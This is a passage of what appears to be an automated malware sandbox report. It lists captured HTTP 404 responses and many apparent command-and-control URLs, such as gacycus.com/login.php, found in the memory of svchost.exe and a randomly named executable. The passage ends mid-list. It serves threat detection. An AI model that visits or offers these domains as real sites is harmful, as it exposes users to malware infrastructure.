    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:50:08 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:50:08 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Mon, 11 Nov 2024 17:50:13 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Mon, 11 Nov 2024 17:50:13 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:50:17 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:50:17 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
    Source: svchost.exe, 00000001.00000003.2898652067.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1891061151.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2148149391.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2190135620.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2915487629.0000000008AAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898443082.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178940663.0000000008A09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gacycus.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2176331339.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2175191610.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2173654266.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2172895145.0000000002F97000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gacyfih.com/
    Source: svchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1780489713.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1781013100.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779223947.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1788657701.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019933898.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779687726.0000000002F5B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gacykeh.com/login.php
    Source: svchost.exe, 00000001.00000003.2164052105.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161532071.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1910374402.0000000008A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2903357463.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2169748683.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1909044342.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2904700373.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2915487629.0000000008AAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2907916838.0000000002FBA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gacykub.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A06000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gacypyz.com/http://lysyger.com/http://lyvysur.com/http://lysyger.com/http://galyros.com/http:
    Source: svchost.exe, 00000001.00000003.2898652067.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gacypyz.com/login.php
    Source: svchost.exe, 00000001.00000003.2811723462.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2814550961.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019576714.0000000008A19000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gacyqob.com/
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1972923642.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gacyqoz.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960150197.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2280547985.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gacyryb.com/login.php
    Source: svchost.exe, 00000001.00000003.2110940857.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111808755.0000000008BAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110982974.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gacyvah.com/H
    Source: svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2761249013.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760203953.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2854734822.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2909851006.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2864162691.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760518250.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978182310.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2341054199.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000CF3000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2281883733.0000000000A26000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2148572373.0000000008C48000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2108655193.0000000000D71000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gacyzuz.com/login.php
    Source: svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854943514.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2863298111.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2854724791.0000000004D8C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854237093.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146701823.0000000002FEE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854650597.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2861550125.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2861625572.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847917919.0000000008B0A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gadyciz.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gadydow.com/
    Source: svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968703670.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 